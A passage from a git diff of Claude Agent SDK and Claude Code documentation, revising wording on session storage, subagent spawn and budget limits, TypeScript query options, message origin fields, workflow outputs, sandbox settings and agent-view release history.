[Python](https://github.com/anthropics/claude-agent-sdk-python/blob/main/examples/session_stores/s3_session_store.py)) | +| Key-value store | One list per transcript that `append()` pushes to and `load()` reads in range, plus a sorted index of sessions. | Redis ([TypeScript](https://github.com/anthropics/claude-agent-sdk-typescript/tree/main/examples/session-stores/redis), [Python](https://github.com/anthropics/claude-agent-sdk-python/blob/main/examples/session_stores/redis_session_store.py)) | +| Relational database or document store | One row or document per entry, stored as JSON and ordered by a key assigned on insert. | Postgres ([TypeScript](https://github.com/anthropics/claude-agent-sdk-typescript/tree/main/examples/session-stores/postgres), [Python](https://github.com/anthropics/claude-agent-sdk-python/blob/main/examples/session_stores/postgres_session_store.py)) | -Each adapter takes a pre-configured client instance, so you control credentials, TLS, region, and pooling. For example, with S3: +Each adapter takes a pre-configured client instance, so you control credentials, TLS, region, and pooling. The following example wires the object-store adapter into `query()` and then resumes from it on another host: ```typescript TypeScript theme={null} import { query } from "@anthropic-ai/claude-agent-sdk"; @@ -316,7 +316,7 @@ Subagent transcripts are mirrored under `subpath: "subagents/agent-"`. `list ### Retention -The SDK never deletes from your store on its own. Retention is the adapter's responsibility: implement TTLs, S3 lifecycle policies, or scheduled cleanup according to your compliance requirements. +The SDK never deletes from your store on its own. Retention is the adapter's responsibility: use your backend's expiry or lifecycle mechanism, or run scheduled cleanup, according to your compliance requirements. Local transcripts under `CLAUDE_CONFIG_DIR` are swept independently by the `cleanupPeriodDays` setting, following the [retention sweep rules](/docs/en/claude-directory#cleaned-up-automatically). A run [resumed from the store](#resume-from-the-store) leaves no local transcript, so for those runs your store's retention is the only retention there is. @@ -343,4 +343,4 @@ In the Python SDK, set `session_store` in [`ClaudeAgentOptions`](/docs/en/agent- * [Work with sessions](/docs/en/agent-sdk/sessions): Continue, resume, and fork without a custom store * [Host the SDK](/docs/en/agent-sdk/hosting): Deployment patterns for multi-host environments * [TypeScript `Options`](/docs/en/agent-sdk/typescript#options): Full option reference -* [`examples/session-stores/`](https://github.com/anthropics/claude-agent-sdk-typescript/tree/main/examples/session-stores): Runnable S3, Redis, and Postgres reference adapters +* [Reference implementations](#reference-implementations): Runnable example adapters for an object store, a key-value store, and a database, in both SDK repositories diff --git a/content/en/docs/claude-code/agent-sdk/skills.md b/content/en/docs/claude-code/agent-sdk/skills.md index 4c011fb7da..b9c9884049 100644 --- a/content/en/docs/claude-code/agent-sdk/skills.md +++ b/content/en/docs/claude-code/agent-sdk/skills.md @@ -118,7 +118,7 @@ This section is the SDK's command documentation. A command is anything you run b * **Your skills**: prompt artifacts that you author, each a directory holding a `SKILL.md` file. A user-invocable skill's name joins the surface automatically, so dispatching your own `/security-check` and running a built-in work the same way * **Custom command files**: an older artifact form with the same behavior, flat Markdown files in `.claude/commands/` whose filenames become command names. Skills are their recommended successor -By default, both you and Claude can invoke any skill. You can restrict either path through the skill's [frontmatter](/docs/en/skills#control-who-invokes-a-skill). For a definition of the two terms, see the glossary's [Command](/docs/en/glossary#command) and [Skill](/docs/en/glossary#skill) entries. See [Commands in Claude Code](/docs/en/commands) for every built-in and [Extend Claude with skills](/docs/en/skills) for the complete guide to both artifact forms. +By default, both you and Claude can invoke any skill. You can restrict either path through the skill's [frontmatter](/docs/en/skills#control-who-invokes-a-skill). For definitions of command and skill, see the glossary's [Command](/docs/en/glossary#command) and [Skill](/docs/en/glossary#skill) entries. See [Commands in Claude Code](/docs/en/commands) for every built-in and [Extend Claude with skills](/docs/en/skills) for the complete guide to both artifact forms. ### Discover available commands diff --git a/content/en/docs/claude-code/agent-sdk/slash-commands.md b/content/en/docs/claude-code/agent-sdk/slash-commands.md index 4c011fb7da..b9c9884049 100644 --- a/content/en/docs/claude-code/agent-sdk/slash-commands.md +++ b/content/en/docs/claude-code/agent-sdk/slash-commands.md @@ -118,7 +118,7 @@ This section is the SDK's command documentation. A command is anything you run b * **Your skills**: prompt artifacts that you author, each a directory holding a `SKILL.md` file. A user-invocable skill's name joins the surface automatically, so dispatching your own `/security-check` and running a built-in work the same way * **Custom command files**: an older artifact form with the same behavior, flat Markdown files in `.claude/commands/` whose filenames become command names. Skills are their recommended successor -By default, both you and Claude can invoke any skill. You can restrict either path through the skill's [frontmatter](/docs/en/skills#control-who-invokes-a-skill). For a definition of the two terms, see the glossary's [Command](/docs/en/glossary#command) and [Skill](/docs/en/glossary#skill) entries. See [Commands in Claude Code](/docs/en/commands) for every built-in and [Extend Claude with skills](/docs/en/skills) for the complete guide to both artifact forms. +By default, both you and Claude can invoke any skill. You can restrict either path through the skill's [frontmatter](/docs/en/skills#control-who-invokes-a-skill). For definitions of command and skill, see the glossary's [Command](/docs/en/glossary#command) and [Skill](/docs/en/glossary#skill) entries. See [Commands in Claude Code](/docs/en/commands) for every built-in and [Extend Claude with skills](/docs/en/skills) for the complete guide to both artifact forms. ### Discover available commands diff --git a/content/en/docs/claude-code/agent-sdk/subagents.md b/content/en/docs/claude-code/agent-sdk/subagents.md index de20cb7781..aa0f0cb411 100644 --- a/content/en/docs/claude-code/agent-sdk/subagents.md +++ b/content/en/docs/claude-code/agent-sdk/subagents.md @@ -612,11 +612,11 @@ Claude decides on its own when to spawn a subagent and how many to spawn. Each s You can cap that growth in three ways: how deeply subagents nest, how many run at once, and how much the whole query spends. Set the depth and concurrency limits as environment variables through the [`env`](/docs/en/agent-sdk/typescript#options) option, and the spend limit as a query option: -| Limit | Set it with | Default | What Claude Code does at the limit | -| :---------- | :------------------------------------------------------- | :----------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Depth | [`CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH`](/docs/en/env-vars) | `3` layers of subagents below your main agent. `1` stops your subagents from spawning any of their own | Leaves a subagent at the bottom layer unable to spawn, so it does its delegated work itself. See [nested subagents](/docs/en/sub-agents#let-subagents-spawn-their-own-subagents) | -| Concurrency | [`CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS`](/docs/en/env-vars) | `20` subagents running at once, counting every subagent Claude spawns with the Agent tool | Refuses to spawn another subagent, returning `Concurrent subagent limit reached`, until the running count drops below the limit. Sessions with [ultracode](/docs/en/model-config#adjust-effort-level) active are never refused. See the [concurrent subagent limit](/docs/en/sub-agents#concurrent-subagent-limit) | -| Spend | `maxBudgetUsd` in TypeScript, `max_budget_usd` in Python | No limit. Compared against `total_cost_usd`, so subagent requests count | Enforces the cap in three ways: refuses to spawn more subagents, returning `Budget limit reached`, stops background subagents that are still running, and ends the query with the `error_max_budget_usd` result subtype. See [turns and budget](/docs/en/agent-sdk/agent-loop#turns-and-budget) | +| Limit | Set it with | Default | What Claude Code does at the limit | +| :---------- | :------------------------------------------------------- | :----------------------------------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Depth | [`CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH`](/docs/en/env-vars) | `3` layers of subagents below your main agent. `1` stops your subagents from spawning any of their own | Leaves a subagent at the bottom layer unable to spawn, so it does its delegated work itself. See [nested subagents](/docs/en/sub-agents#let-subagents-spawn-their-own-subagents) | +| Concurrency | [`CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS`](/docs/en/env-vars) | `20` subagents running at once, counting every subagent Claude spawns with the Agent tool | Refuses to spawn another subagent, returning `Concurrent subagent limit reached`, until the running count drops below the limit. Sessions with [ultracode](/docs/en/model-config#adjust-effort-level) active are never refused. See the [concurrent subagent limit](/docs/en/sub-agents#concurrent-subagent-limit) | +| Spend | `maxBudgetUsd` in TypeScript, `max_budget_usd` in Python | No limit. Compared against `total_cost_usd`, so subagent requests count | Enforces the cap in three ways: refuses to spawn more subagents, returning `Budget limit reached`, stops background subagents that are still running, and ends the query with the `error_max_budget_usd` result subtype. For how the caps behave across a session, see [turns and budget](/docs/en/agent-sdk/agent-loop#turns-and-budget) | The two SDKs treat the `env` option differently: the TypeScript SDK replaces the subprocess environment with it, so spread `process.env` into it to keep variables like `PATH`, while the Python SDK merges it into the inherited environment. This example turns nesting off, allows at most five subagents at a time, and stops the query once the estimated spend reaches \$5: diff --git a/content/en/docs/claude-code/agent-sdk/typescript-v2-preview.md b/content/en/docs/claude-code/agent-sdk/typescript-v2-preview.md index 1a463ee2d9..b610e9cdea 100644 --- a/content/en/docs/claude-code/agent-sdk/typescript-v2-preview.md +++ b/content/en/docs/claude-code/agent-sdk/typescript-v2-preview.md @@ -12,7 +12,7 @@ To migrate, use the [`query()` API](/docs/en/agent-sdk/typescript) and the [session options](/docs/en/agent-sdk/sessions) it accepts. Pass an `AsyncIterable` for multi-turn conversations, or `options.resume` to continue a saved session. This page is kept for reference if you maintain code on Agent SDK 0.2.x or earlier. -V2 was an experimental session API that removed the need for async generators and yield coordination. Instead of managing generator state across turns, each turn was a separate `send()`/`stream()` cycle. The API surface reduced to three concepts: +V2 was an experimental session API that removed the need for async generators and yield coordination. Instead of managing generator state across turns, each turn was a separate `send()`/`stream()` cycle. The API surface reduced to creating a session, sending a message, and streaming the response: * `createSession()` / `resumeSession()`: Start or continue a conversation * `session.send()`: Send a message diff --git a/content/en/docs/claude-code/agent-sdk/typescript.md b/content/en/docs/claude-code/agent-sdk/typescript.md index e73697ee32..133186772b 100644 --- a/content/en/docs/claude-code/agent-sdk/typescript.md +++ b/content/en/docs/claude-code/agent-sdk/typescript.md @@ -432,7 +432,7 @@ Configuration object for the `query()` function. | `executable` | `'bun' \| 'deno' \| 'node'` | Auto-detected | JavaScript runtime to use | | `executableArgs` | `string[]` | `[]` | Arguments to pass to the executable | | `extraArgs` | `Record` | `{}` | Additional arguments | -| `fallbackModel` | `string` | `undefined` | Model to use if primary fails | +| `fallbackModel` | `string` | `undefined` | Model to use if the primary model fails. Accepts a comma-separated list. For the order and the cap, see [Fallback model chains](/docs/en/model-config#fallback-model-chains). For guidance, see [Choose a model](/docs/en/agent-sdk/configuration#choose-a-model) | | `forkSession` | `boolean` | `false` | When resuming with `resume`, fork to a new session ID instead of continuing the original session | | `forwardSubagentText` | `boolean` | `false` | Forward subagent text and thinking blocks as assistant and user messages with `parent_tool_use_id` set, so consumers can render a nested transcript. Without this option, Claude Code emits subagent `tool_use` and `tool_result` blocks but not text or thinking. Messages from subagents at every nesting depth are forwarded on Claude Code v2.1.219 and later; before v2.1.219, only messages from depth-1 subagents appeared | | `hooks` | `Partial>` | `{}` | Hook callbacks for events | @@ -440,7 +440,7 @@ Configuration object for the `query()` function. | `includePartialMessages` | `boolean` | `false` | Include partial message events | | `loadTimeoutMs` | `number` | `60000` | *Alpha.* Timeout in milliseconds for each `sessionStore.load()` and `sessionStore.listSubkeys()` call during resume materialization. If the adapter doesn't settle within this window, the query fails instead of hanging. Ignored when `sessionStore` is not set | | `managedSettings` | `Settings` | `undefined` | Policy-tier settings your host process supplies to the spawned session. On machines with admin-deployed managed settings, Claude Code ignores these unless the admin's highest-priority managed source sets `parentSettingsBehavior: 'merge'`, and never merges them while a [`policyHelper`](/docs/en/settings-reference#policyhelper) supplies managed settings. Merged values pass through a restrictive-only filter; [Restrict parent settings](/docs/en/claude-apps-gateway#restrict-parent-settings) covers what the filter admits and the `allowManaged*Only` locks. A host that sets [`CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST`](/docs/en/env-vars) has three keys read straight from this payload instead: its [model configuration](/docs/en/model-config#restrict-model-selection) on Claude Code v2.1.222 or later, [`modelPricing`](/docs/en/settings-reference#modelpricing) when no managed source sets it on v2.1.246 or later, and its `ENABLE_TOOL_SEARCH` env entry on v2.1.247 or later | -| `maxBudgetUsd` | `number` | `undefined` | Stop the query when the client-side cost estimate reaches this USD value. Compared against the same estimate as `total_cost_usd`; see [Track cost and usage](/docs/en/agent-sdk/cost-tracking) for accuracy caveats | +| `maxBudgetUsd` | `number` | `undefined` | Stop the query when the client-side cost estimate reaches this USD value. Compared against the same estimate as `total_cost_usd`. For accuracy caveats and reset behavior, see [Track cost and usage](/docs/en/agent-sdk/cost-tracking) | | `maxThinkingTokens` | `number` | `undefined` | *Deprecated:* Use `thinking` instead. Maximum tokens for thinking process | | `maxTurns` | `number` | `undefined` | Maximum agentic turns (tool-use round trips) | | `mcpServers` | `Record` | `{}` | MCP server configurations | @@ -463,7 +463,7 @@ Configuration object for the `query()` function. | `sessionId` | `string` | Auto-generated | Use a specific UUID for the session instead of auto-generating one | | `sessionStore` | [`SessionStore`](/docs/en/agent-sdk/session-storage#the-sessionstore-interface) | `undefined` | Mirror session transcripts to an external backend so another host can resume them. See [Persist sessions to external storage](/docs/en/agent-sdk/session-storage) | | `sessionStoreFlush` | `'batched' \| 'eager'` | `'batched'` | *Alpha.* Flush mode for `sessionStore`. Ignored when `sessionStore` is not set | -| `settings` | `string \| Settings` | `undefined` | Inline [settings](/docs/en/settings) object or path to a settings file. Populates the flag-settings layer in the [precedence order](/docs/en/settings#settings-precedence). Change at runtime with [`applyFlagSettings()`](#applyflagsettings) | +| `settings` | `string \| Settings` | `undefined` | Inline [settings](/docs/en/settings) object, a settings file path, or an inline JSON string. Populates the flag-settings layer in the [precedence order](/docs/en/settings#settings-precedence). Change at runtime with [`applyFlagSettings()`](#applyflagsettings) | | `settingSources` | [`SettingSource`](#settingsource)`[]` | CLI defaults (all sources) | Control which filesystem settings to load. Pass `[]` to disable user, project, and local settings. [Endpoint-managed policy](/docs/en/managed-settings#delivery-mechanisms) loads regardless; server-managed settings are fetched when the session authenticates with an organization credential on an [eligible configuration](/docs/en/server-managed-settings#platform-availability). See [Use Claude Code features](/docs/en/agent-sdk/claude-code-features#what-settingsources-does-not-control) | | `skills` | `string[] \| 'all'` | `undefined` | Skills available to the session. Pass `'all'` to enable every discovered skill, or a list of skill names. Pass exact names only. On Agent SDK v0.3.221 or later, the SDK rejects malformed and wildcard-form names with an error before starting the Claude Code process. When set, the SDK adds the Skill tool to `allowedTools` automatically. If you also pass `tools`, include `'Skill'` in that list. See [Skills](/docs/en/agent-sdk/skills) | | `spawnClaudeCodeProcess` | `(options: SpawnOptions) => SpawnedProcess` | `undefined` | Custom function to spawn the Claude Code process. Use to run Claude Code in VMs, containers, or remote environments | @@ -560,7 +560,7 @@ interface Query extends AsyncGenerator { | `interrupt()` | Interrupts the query. Only available in streaming input mode. When the CLI advertises the `interrupt_receipt_v1` capability in [`SDKSystemMessage.capabilities`](#sdksystemmessage), resolves with an [`SDKControlInterruptResponse`](#sdkcontrolinterruptresponse) listing the messages that were pending when the interrupt arrived. Resolves `undefined` on CLIs before v2.1.205 | | `rewindFiles(userMessageId, options?)` | Restores files to their state at the specified user message. Pass `{ dryRun: true }` to preview changes. Requires `enableFileCheckpointing: true`. See [File checkpointing](/docs/en/agent-sdk/file-checkpointing) | | `setPermissionMode()` | Changes the permission mode (only available in streaming input mode) | -| `setModel()` | Changes the model (only available in streaming input mode). Passing `undefined` or the string `"default"` resets to the session default model | +| `setModel()` | Changes the model (only available in streaming input mode). Passing `undefined` or the string `"default"` resets to [Claude Code's default model](/docs/en/model-config) | | `setMaxThinkingTokens()` | *Deprecated:* Use the `thinking` option instead. Changes the maximum thinking tokens. Passing `null` resets thinking to the session default: a mid-session override is cleared, and thinking stays off for sessions that have it disabled | | `applyFlagSettings(settings)` | Merges settings into the session's flag settings layer at runtime (only available in streaming input mode). See [`applyFlagSettings()`](#applyflagsettings) | | `updateSettings(source, settings)` | Merges settings into the project's local settings file, `.claude/settings.local.json`; they take effect on the next request. Accepts only `source: 'localSettings'` and an allowlisted key set, currently `outputStyle`, with string values; deleting a key isn't supported. Rejects on remote transports and in sessions whose [`settingSources`](#options) exclude `local`. Requires TypeScript SDK v0.3.257 or later, which bundles Claude Code v2.1.257 | @@ -595,11 +595,11 @@ Only some keys take effect mid-session: The values are written to the flag-settings layer, the same layer the inline `settings` option of `query()` populates at startup. This is the same tier the [on-page precedence section](#settings-precedence) calls programmatic options. -Successive calls shallow-merge top-level keys. A second call with `{ permissions: {...} }` replaces the entire `permissions` object from the prior call rather than deep-merging into it. To clear a key from the flag layer and fall back to lower-precedence sources, pass `null` for that key. Passing `undefined` has no effect because JSON serialization drops it. +Successive calls shallow-merge top-level keys. A second call with `{ permissions: {...} }` replaces the entire `permissions` object from the prior call rather than deep-merging into it. To clear a key from the flag layer, pass `null` for that key. Most keys then fall back to lower-precedence sources. A cleared `model` resets to [Claude Code's default model](/docs/en/model-config), even when a settings file sets `model`. Passing `undefined` has no effect because JSON serialization drops it. Only available in streaming input mode, the same constraint as `setModel()` and `setPermissionMode()`. -The example below switches the active model mid-session, then clears the override so the model falls back to whatever the user or project settings specify. +The example below switches the active model mid-session, then clears the override so the model resets to [Claude Code's default model](/docs/en/model-config). ```typescript theme={null} import { query } from "@anthropic-ai/claude-agent-sdk"; @@ -609,7 +609,7 @@ const q = query({ prompt: messageStream }); // Override the model for the rest of the session await q.applyFlagSettings({ model: "claude-opus-4-6" }); -// Later: clear the override and fall back to lower-precedence settings +// Later: clear the override; the model resets to Claude Code's default await q.applyFlagSettings({ model: null }); ``` @@ -1726,13 +1726,13 @@ type SDKMessageOrigin = When Claude Code delivers a task notification into a session, it sets `subkind` on the notification's `origin` only if Anthropic servers verified where that notification came from. `subkind` requires Claude Code v2.1.213 or later, and it takes one of two values: * `scheduled-trigger`: the notification is a [routine](/docs/en/routines)'s stored prompt, delivered because one of the routine's triggers fired: its schedule, its [API trigger](/docs/en/routines#add-an-api-trigger), its [GitHub trigger](/docs/en/routines#add-a-github-trigger), or **Run now**. Claude Code frames these to the model as the session's assigned task, with a different notice from the [notice that other task notifications carry](#sdktasknotificationmessage). -* `peer-send-message`: the notification is a message that another of your sessions sent with the server-side `send_message` tool that [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions use to message each other, not the [cross-session `SendMessage` tool](/docs/en/cross-session-messaging), and Anthropic servers verified that both sessions belong to the same private group of sessions. Requires Claude Code v2.1.224 or later. A `send_message` delivery the servers didn't verify that way gets no subkind. +* `peer-send-message`: the notification is a message that another of your sessions sent with the server-side `send_message` tool that [cloud sessions](/docs/en/claude-code-on-the-web) use to message each other, not the [cross-session `SendMessage` tool](/docs/en/cross-session-messaging), and Anthropic servers verified that both sessions belong to the same private group of sessions. Requires Claude Code v2.1.224 or later. A `send_message` delivery the servers didn't verify that way gets no subkind. Every other task notification has no `subkind`. That includes [scheduled tasks](/docs/en/scheduled-tasks) that fire on your own machine, [PR activity](/docs/en/claude-code-on-the-web#how-claude-responds-to-pr-activity) delivered into a session, and background events such as a finished task. Messages from the [cross-session `SendMessage` tool](/docs/en/cross-session-messaging) aren't task notifications at all: whether they come from a session on the same machine or through Anthropic servers from another machine, Claude Code gives them `kind: "peer"` and the [peer origin fields](#peer-origin-fields). ### Peer origin fields -A `peer` origin identifies which agent sent the message: an in-process [teammate](/docs/en/agent-teams) sending to `main` with `SendMessage`, or a [cross-session peer](/docs/en/cross-session-messaging), another of your Claude Code sessions. Cross-session peers require Claude Code v2.1.224 or later on macOS and Linux; see [cross-session messaging availability](/docs/en/cross-session-messaging#availability) for the native Windows requirement. A cross-session peer can run on the same machine, or on [another of your machines](/docs/en/cross-session-messaging#message-sessions-on-other-machines) or [Claude Code on the web](/docs/en/claude-code-on-the-web) when its message arrives through Remote Control. The two kinds of sender fill the fields differently: +A `peer` origin identifies which agent sent the message: an in-process [teammate](/docs/en/agent-teams) sending to `main` with `SendMessage`, or a [cross-session peer](/docs/en/cross-session-messaging), another of your Claude Code sessions. Cross-session peers require Claude Code v2.1.224 or later on macOS and Linux; see [cross-session messaging availability](/docs/en/cross-session-messaging#availability) for the native Windows requirement. A cross-session peer can run on the same machine, or on [another of your machines](/docs/en/cross-session-messaging#message-sessions-on-other-machines) or [in the cloud](/docs/en/claude-code-on-the-web) when its message arrives through Remote Control. The two kinds of sender fill the fields differently: * `from`: the teammate's name, or the sender address for a cross-session peer. For a [one-way cross-machine message](/docs/en/cross-session-messaging#message-sessions-on-other-machines), the sender has no reply address and `from` is `"unknown"`. The value is sender-authored; `verifiedPeerPid` is the verified identity. * `fromMode`: the sending session's permission class, `bypass` or `prompting`, declared by a host that relays a peer message between your sessions, such as the [desktop app](/docs/en/desktop#work-across-sessions). Claude Code reads it in the receiving session when it applies the [inbound controls](/docs/en/cross-session-messaging#control-inbound-messages). Requires Agent SDK v0.3.234 or later. @@ -3047,7 +3047,7 @@ Manages [Routines](/docs/en/routines), the scheduled and triggered Claude Code r `list_runs` lists a routine's recent runs, and `get_run_log` reads one run's log. `session_id` names the run to read, from a `list_runs` result, and `cursor` pages through either action's results. Both actions require Claude Code v2.1.227 or later. -This tool is available only when the session is authenticated with a claude.ai account on a plan with Routines enabled, and is absent when your organization's policy disables [Claude Code on the web](/docs/en/claude-code-on-the-web). On Claude Code v2.1.227 or later, the tool is also absent when an Owner has [turned off routines for the organization](/docs/en/routines#routines-are-disabled-by-your-organizations-policy). Before v2.1.227, a session with only the routines toggle turned off still showed the tool, and the server denied its calls. +This tool is available only when the session is authenticated with a claude.ai account on a plan with Routines enabled, and is absent when your organization's policy disables [cloud sessions](/docs/en/claude-code-on-the-web). On Claude Code v2.1.227 or later, the tool is also absent when an Owner has [turned off routines for the organization](/docs/en/routines#routines-are-disabled-by-your-organizations-policy). Before v2.1.227, a session with only the routines toggle turned off still showed the tool, and the server denied its calls. ### PushNotification @@ -3166,7 +3166,7 @@ Reads and writes the claude.ai Project attached to the session. Dispatches on `m * `project_info`: returns project metadata and the doc list. * `project_read`: reads one doc by `path`. -* `project_search`: queries the project's knowledge base with `query`. `n` caps the hits and defaults to 5. +* `project_search`: queries the project's knowledge base with `query`. `n` caps the hits and defaults to `5`. * `project_write`: creates or replaces a doc at `path` from exactly one of `content`, which carries inline text, or `local_path`, which names a file inside the working directory. `present_to_user: true` marks the written doc as the deliverable the user needs to see. * `project_delete`: deletes a doc by `path`. @@ -3340,7 +3340,7 @@ type AgentOutput = }; ``` -Returns the result from the subagent. Discriminated on the `status` field: `"completed"` for finished tasks, `"async_launched"` for background tasks, and `"remote_launched"` for tasks Claude Code dispatched to a remote cloud session, where `sessionUrl` links to that session and `taskId` identifies it. +Returns the result from the subagent. Discriminated on the `status` field: `"completed"` for finished tasks, `"async_launched"` for background tasks, and `"remote_launched"` for tasks Claude Code dispatched to a cloud session, where `sessionUrl` links to that session and `taskId` identifies it. On the `completed` variant, `resolvedModel` names the model the subagent started on, which can differ from the requested `model` input when [`availableModels`](/docs/en/model-config#restrict-model-selection) or another override applies. This field requires Claude Code v2.1.174 or later. On `async_launched`, it names the model in use when the task moved to the background. @@ -3722,7 +3722,7 @@ type WorkflowOutput = { summary?: string; transcriptDir?: string; scriptPath?: string; - sessionUrl?: string; // set when the workflow launched as a remote session + sessionUrl?: string; // set when the workflow launched as a cloud session warning?: string; error?: string; }; @@ -3730,19 +3730,19 @@ type WorkflowOutput = { Returns immediately after the tool accepts the invocation. The final result arrives later as a task completion. Check `error` before treating the run as started: a script that fails its syntax check returns `status: "async_launched"` with `error` set, and never runs. -| Field | Type | Description | -| --------------- | --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `status` | `"async_launched" \| "remote_launched"` | The tool accepted the invocation. `"async_launched"` for in-process runs, `"remote_launched"` for runs dispatched to a remote session instead of running in-process | -| `taskId` | `string` | Background task identifier for the run | -| `taskType` | `"local_workflow" \| "remote_agent"` | Task type of the registered background task, matching the `status` arm | -| `workflowName` | `string` | The `meta.name` from the workflow script | -| `runId` | `string` | Workflow run identifier to pass as `resumeFromRunId` on a later invocation. Absent for `remote_launched` runs, where the cloud session URL is the resume handle | -| `summary` | `string` | One-line description of what the workflow does | -| `transcriptDir` | `string` | Directory where subagent transcripts are written during execution | -| `scriptPath` | `string` | Path to the persisted workflow script for this run. Edit it and pass back as `scriptPath` to rerun without resending the script | -| `sessionUrl` | `string` | Cloud session URL, set when `status` is `"remote_launched"` | -| `warning` | `string` | Non-blocking heads-up, such as local git state diverging from the pushed branch a cloud session will clone | -| `error` | `string` | Set when the script fails its syntax check. When present, the run did not start despite the launched status | +| Field | Type | Description | +| --------------- | --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `status` | `"async_launched" \| "remote_launched"` | The tool accepted the invocation. `"async_launched"` for in-process runs, `"remote_launched"` for runs dispatched to a cloud session instead of running in-process | +| `taskId` | `string` | Background task identifier for the run | +| `taskType` | `"local_workflow" \| "remote_agent"` | Task type of the registered background task, matching the `status` arm | +| `workflowName` | `string` | The `meta.name` from the workflow script | +| `runId` | `string` | Workflow run identifier to pass as `resumeFromRunId` on a later invocation. Absent for `remote_launched` runs, where the cloud session URL is the resume handle | +| `summary` | `string` | One-line description of what the workflow does | +| `transcriptDir` | `string` | Directory where subagent transcripts are written during execution | +| `scriptPath` | `string` | Path to the persisted workflow script for this run. Edit it and pass back as `scriptPath` to rerun without resending the script | +| `sessionUrl` | `string` | Cloud session URL, set when `status` is `"remote_launched"` | +| `warning` | `string` | Non-blocking heads-up, such as local git state diverging from the pushed branch a cloud session will clone | +| `error` | `string` | Set when the script fails its syntax check. When present, the run did not start despite the launched status | ### TodoWrite @@ -5128,7 +5128,7 @@ type SandboxSettings = { | :-------------------------- | :---------------------------------------------------- | :---------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `enabled` | `boolean` | `false` | Enable sandbox mode for command execution | | `failIfUnavailable` | `boolean` | `true` | Stop at startup if `enabled` is `true` but the sandbox can't start. Set `false` to fall back to unsandboxed execution with a warning on stderr | -| `autoAllowBashIfSandboxed` | `boolean` | `true` | Auto-approve bash commands when sandbox is enabled | +| `autoAllowBashIfSandboxed` | `boolean` | `true` | Auto-approve Bash commands when sandbox is enabled | | `excludedCommands` | `string[]` | `[]` | Commands that always bypass sandbox restrictions (e.g., `['docker']`). These run unsandboxed automatically without model involvement | | `allowUnsandboxedCommands` | `boolean` | `true` | Allow the model to request running commands outside the sandbox. When `true`, the model can set `dangerouslyDisableSandbox` in tool input, which falls back to the [permissions system](#permissions-fallback-for-unsandboxed-commands) | | `network` | [`SandboxNetworkConfig`](#sandboxnetworkconfig) | `undefined` | Network-specific sandbox configuration | diff --git a/content/en/docs/claude-code/agent-sdk/user-input.md b/content/en/docs/claude-code/agent-sdk/user-input.md index 5aebf5e343..6da09c914c 100644 --- a/content/en/docs/claude-code/agent-sdk/user-input.md +++ b/content/en/docs/claude-code/agent-sdk/user-input.md @@ -544,12 +544,12 @@ The following steps show how to handle clarifying questions: The input contains Claude's generated questions in a `questions` array. Each question has these fields: -| Field | Description | -| ------------- | -------------------------------------------------------------------------------------------------------------------------------------- | -| `question` | The full question text to display | -| `header` | Short label for the question (max 12 characters) | -| `options` | Array of 2-4 choices, each with `label` and `description`. TypeScript: optionally `preview` (see [below](#option-previews-typescript)) | -| `multiSelect` | If `true`, users can select multiple options | +| Field | Description | +| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | +| `question` | The full question text to display | +| `header` | Short label for the question (max 12 characters) | +| `options` | Array of 2-4 choices, each with `label` and `description`. TypeScript: optionally `preview`. See [Option previews](#option-previews-typescript). | +| `multiSelect` | If `true`, users can select multiple options | The structure your callback receives: diff --git a/content/en/docs/claude-code/agent-view.md b/content/en/docs/claude-code/agent-view.md index f2dc1e5f04..7f2d9e8787 100644 --- a/content/en/docs/claude-code/agent-view.md +++ b/content/en/docs/claude-code/agent-view.md @@ -925,7 +925,7 @@ For other ways to run Claude in parallel, and for passing findings between the s * [Run agents in parallel](/docs/en/agents): compare agent view with subagents, agent teams, and worktrees * [Cross-session messaging](/docs/en/cross-session-messaging): have your sessions pass findings to each other * [Agent teams](/docs/en/agent-teams): coordinate multiple sessions that message each other -* [Claude Code on the web](/docs/en/claude-code-on-the-web): run sessions in a managed cloud environment instead of locally +* [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web): run sessions in a managed cloud environment instead of locally ## Version history @@ -934,6 +934,7 @@ Agent view has evolved quickly during research preview. If you are on an older C | Version | Change | | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | v2.1.268 | When a [delete is refused](#what-deleting-a-session-removes) because git or your `WorktreeRemove` hook couldn't remove the worktree, the message names the cause, including how a hook ended and the start of its stderr. For a linked worktree under the repository's `.claude/worktrees/` with no uncommitted changes to tracked files, no nested repository inside it, and no other session's record naming it, deleting the session again removes the directory anyway, from agent view or with `claude rm --force-remove-worktree `. Before this release, the row showed only `worktree could not be removed (WorktreeRemove hook failed)` or git's error, the hook's stderr went only to the debug log, and deleting again was refused the same way. | +| v2.1.268 | After the first `←` shows `Press ← again to open agents`, or `Press ← again to go back to agents` in an attached session, [the first press that comes at least a second later switches](#switch-sessions-without-leaving-the-terminal), even when quicker presses in between were ignored. Before this release, each ignored press restarted the wait, so pressing `←` again at a steady pace didn't switch until you paused for over a second. | | v2.1.260 | When you [background a session](#from-inside-a-session), your other sessions' [agent listing](/docs/en/cross-session-messaging#see-which-sessions-claude-can-reach) shows the conversation once, as its background session, and their messages to it no longer reach 